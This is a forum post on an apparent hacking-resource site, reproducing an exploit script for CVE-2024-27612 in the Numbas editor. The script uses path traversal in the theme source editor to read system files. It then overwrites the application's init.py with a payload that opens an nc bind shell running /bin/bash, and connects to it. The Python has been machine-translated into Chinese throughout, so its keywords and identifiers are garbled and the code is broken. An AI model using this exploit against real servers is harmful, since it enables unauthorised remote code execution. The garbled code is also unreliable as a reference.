H

Numbas V7.3-远程代码执行

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Numbas V7.3-远程代码执行
#Google Dork: N/A
#DATE: 2024年3月7日
#利用作者: Matheus Boschetti
#供应商homepage3360 https://www.numbas.org.uk/
#软件link: https://github.com/numbas/numbas
#版本: 7.2及以下
#在: Linux上测试
#CVE: CVE-2024-27612
导入系统,请求,RE,Argparse,子过程,时间
来自BS4进口美丽的小组
s=requests.session()
DEF GETCSRF(目标):
url=f'http://{target}/'
req=s.get(url)
汤=beautifutsoup(req.text,'html.parser')
csrfmiddlewaretoken=soup.find('input',attrs={'name':'csrfmiddlewaretoken'})['value']
返回csrfmiddlewaretken
def createTheme(target):
#格式请求
csrfmiddlewaretoken=getCSRF(target)
主题='exeppletheme'
boundard='--- webkitformboundarykumxslp31hzaruv1'
数据=((
f' - {boundard} \ r \ n'
'content-disposition: form-data; name='csrfmiddlewaretoken'\ r \ n'
'\ r \ n'
f'{csrfmiddlewaretoken} \ r \ n'
f' - {boundard} \ r \ n'
'content-disposition: form-data;名称='名称'\ r \ n'
'\ r \ n'
f'{theme} \ r \ n'
f' - {boundary} - \ r \ n'

headers={'content-type': f'multipart/form-data;边界={boundary}',
'用户代理:'Mozilla/5.0',
'Accept':'/',
'Connection':'关闭'}
#创建主题并返回其ID
req=s.post(f'http://{target}/theme/new/',headers=headers,data=data)
redir=req.url
split=redir.split('/')
id=拆分[4]
打印(f'\ t 主题,创建了ID {id}')
返回ID
DEF登录(目标,用户,PassWD):
打印('\ n 尝试登录.')
csrfmiddlewaretoken=getCSRF(target)
data={'csrfmiddlewaretoken': csrfmiddlewaretoken,
'用户名:用户,
'password': passwd,
'Next':'/'}
#登录
login=s.post(f'http://{target}/login/',data=data,ally_redirects=true)
res=login.text
if('登录为'不在res中):
打印('\ n \ n [!]登录失败!')
sys.exit(-1)
#检查是否已记录并获取ID
usermatch=re.search(r'logog in as strong(。*?)/strong',res)
如果USERMATCH:
用户=usermatch.group(1)
idmatch=re.search(r'a href='/encace/profile/(
如果IDMatch:
id=idmatch.group(1)
print(f'\ t [+]登录为\'{user} \'with ID {id}')
DEF CHECKVULN(URL):
打印('检查目标是否脆弱.')
#尝试读取文件
themeid=createTheme(url)
target=f'http://{url}/themes/{themID}/edit_source?filename=././././././././././././././././.
hname=s.get(f'{target}/etc/hostName')
ver=s.get(f'{target}/etc/esseage')
hnamesoup=beautifulsoup(hname.text,'html.parser')
versoup=beautifulsoup(ver.text,'html.parser')
hostName=hnamesoup.find('textarea')。get_text()。strip()。
版本=Tradeup.find('textarea')。get_text()。strip()
如果Len(主机名)1:
print('\ n \ n [!]出现问题- 目标可能不会易受攻击。')
sys.exit(-1)
print(f'\ n [+] target \'{hostName} \'是脆弱的!')
print(f'\ t running: \'{version} \'')
#清理- 删除主题
打印(f'\ t \ t clearup:删除主题{themeid} .')
target=f'http://{url}/主题/{themeid}/delete'
csrfmiddlewaretoken=getCSRF(url)
data={'csrfmiddlewaretoken':csrfmiddlewaretoken}
S. -post(目标,数据=数据)
DEF替换(目标):
#用任意代码覆盖init.py
rport='8443'
有效载荷=f'import subprocess; subprocess.popen(['nc',' - lnvp','{rport}',' - e','/bin/bash'])''
csrfmiddlewaretoken=getCSRF(target)
filename='./././././numbas_editor/numbas/init.py'
themeid=createTheme(target)
data={'csrfmiddlewaretoken': csrfmiddlewaretoken,
'source':有效载荷,
'filename':文件名}
打印('提供有效载荷.')
#重试的5次,以防万一出现问题.
尝试(5):
TRY:
s.post(f'http://{target}/themes/{themeid}/edit_source',data=data,timeout=10)
除异常外,E:
经过
#建立连接到绑定壳
时间。
打印(f'\ t [+]有效载荷已交付,建立连接. \ n')
如果在target:中的“ :”
split=target.split(':')
ip=拆分[0]
其他:
ip=str(目标)
subprocess.popen([['nc','-n',ip,rport])
而true:
经过
def main():
Parser=argparse.argumentparser()
如果len(sys.argv)=1:
打印('\ n [!]没有提供任何选项!')
打印('\ t- check:被动地通过尝试从磁盘读取文件\ n \ t- exploit:试图主动利用目标\ n'来被动检查目标是否易受攻击)
print(f' usage: python3 {sys.argv [0]} option -target 172.16.1.5:80-用户示例-passwd qwerty')
sys.exit(-1)
group=parser.add_mutaly_exclusive_group(必需=true)
group.add_argument('action',nargs='?',选择=['check','exploit'],help='行动tor perform 3:检查或漏洞利用')
parser.add_argument(' - target',help='目标ip:port')
parser.add_argument(' - 用户',help='用户名以验证')
parser.add_argument(' - passwd',help='password for Authenticate')
args=parser.parse_args()
action=args.Action
target=args.target
用户=args.user
passwd=args.passwd
print('\ n \ t \ t - ==[CVE-2024-27612: NUMBAS远程代码执行(RCE)]== - ')
如果动作=='check':
登录(目标,用户,PASSWD)
checkvuln(目标)
elif Action=='exploit':
登录(目标,用户,PASSWD)
替换(目标)
其他:
sys.exit(-1)
如果name=='__ -Main __':
主要的()
 
后退
顶部